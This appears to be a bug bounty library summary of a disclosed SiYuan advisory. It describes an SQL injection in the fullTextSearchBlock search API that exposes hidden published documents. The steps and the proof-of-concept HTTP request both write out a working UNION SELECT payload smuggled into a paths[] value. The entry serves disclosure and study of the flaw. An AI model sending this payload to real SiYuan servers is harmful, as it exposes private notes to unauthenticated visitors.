# SiYuan: SQL Query in Block Search Exposes Hidden Published Document Content

SQL injection via paths[] in Siyuan's fullTextSearchBlock lets an unauthenticated publish visitor UNION-select hidden document content by projecting a visible box/path past the post-query publish filter.

- Payout: Research
- Severity: high
- Program: SiYuan
- Found by: mountainousmolehill, Kairos-T
- Disclosed: 2026-09-02
- CVE: CVE-2026-59834
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-h89q-4j2h-7h88
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-h89q-4j2h-7h88
- Tags: area:web domain:web impact:data-leak kind:research platform:ghsa sev:high tech:go technique:chained technique:source-review vuln:access-control vuln:auth-bypass vuln:sqli

**Target:** POST /api/search/fullTextSearchBlock on the publish service (Go kernel)
**Root cause:** Caller-controlled paths[] values are split into box/path and concatenated unescaped into SQL predicates (`box = '%s'`, `path LIKE '%s%%'`) for non-SQL search methods, which are allowed for reader-role publish visitors.
**Steps:**
1. Enable publish service and mark one doc visible, one hidden via `POST /api/filetree/setPublishAccess` + `POST /api/setting/setPublish`.
2. Send through the publish service: `POST /api/search/fullTextSearchBlock` with `{"query":"SECRET-LIVE-SQLI-20260609","method":3,"page":1,"pageSize":10,"paths":["VISIBLE_NOTEBOOK_ID/x%') UNION SELECT id,parent_id,root_id,hash,'VISIBLE_NOTEBOOK_ID','/VISIBLE_DOC.sy',hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks WHERE path='/HIDDEN_DOC.sy' -- "]}`.
3. Observe the hidden block returned with projected visible `box`/`path`, passing the post-query publish access filter.
**How found:** Noted that only method==2 (SQL search) is admin-gated while other methods still accept caller-controlled paths, then traced paths[] into string-concatenated SQL and observed the publish filter runs after query execution on row projections.
**Exploitation:** Unauthenticated publish visitor is forwarded to the kernel with a reader-role token; method 3 (regexp) is permitted for non-admins, so the injected UNION row is executed and returned because FilterBlocksByPublishAccess checks only the attacker-projected visible Box/Path.
**Insight:** When an auth gate blocks one search mode but sibling modes share the same caller-controlled filter inputs, check whether those inputs reach the same SQL builder; also check whether post-query ACL filters trust row columns the attacker can project via UNION.

## Proof of concept (copied exactly from the original report)

**HTTP request injecting UNION SELECT via paths[]**

```
POST /api/search/fullTextSearchBlock HTTP/1.1
Host: <publish-service-host>
Content-Type: application/json

{
  "query": "SECRET-LIVE-SQLI-20260609",
  "method": 3,
  "page": 1,
  "pageSize": 10,
  "paths": [
    "VISIBLE_NOTEBOOK_ID/x%') UNION SELECT id,parent_id,root_id,hash,'VISIBLE_NOTEBOOK_ID','/VISIBLE_DOC.sy',hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks WHERE path='/HIDDEN_DOC.sy' -- "
  ]
}
```

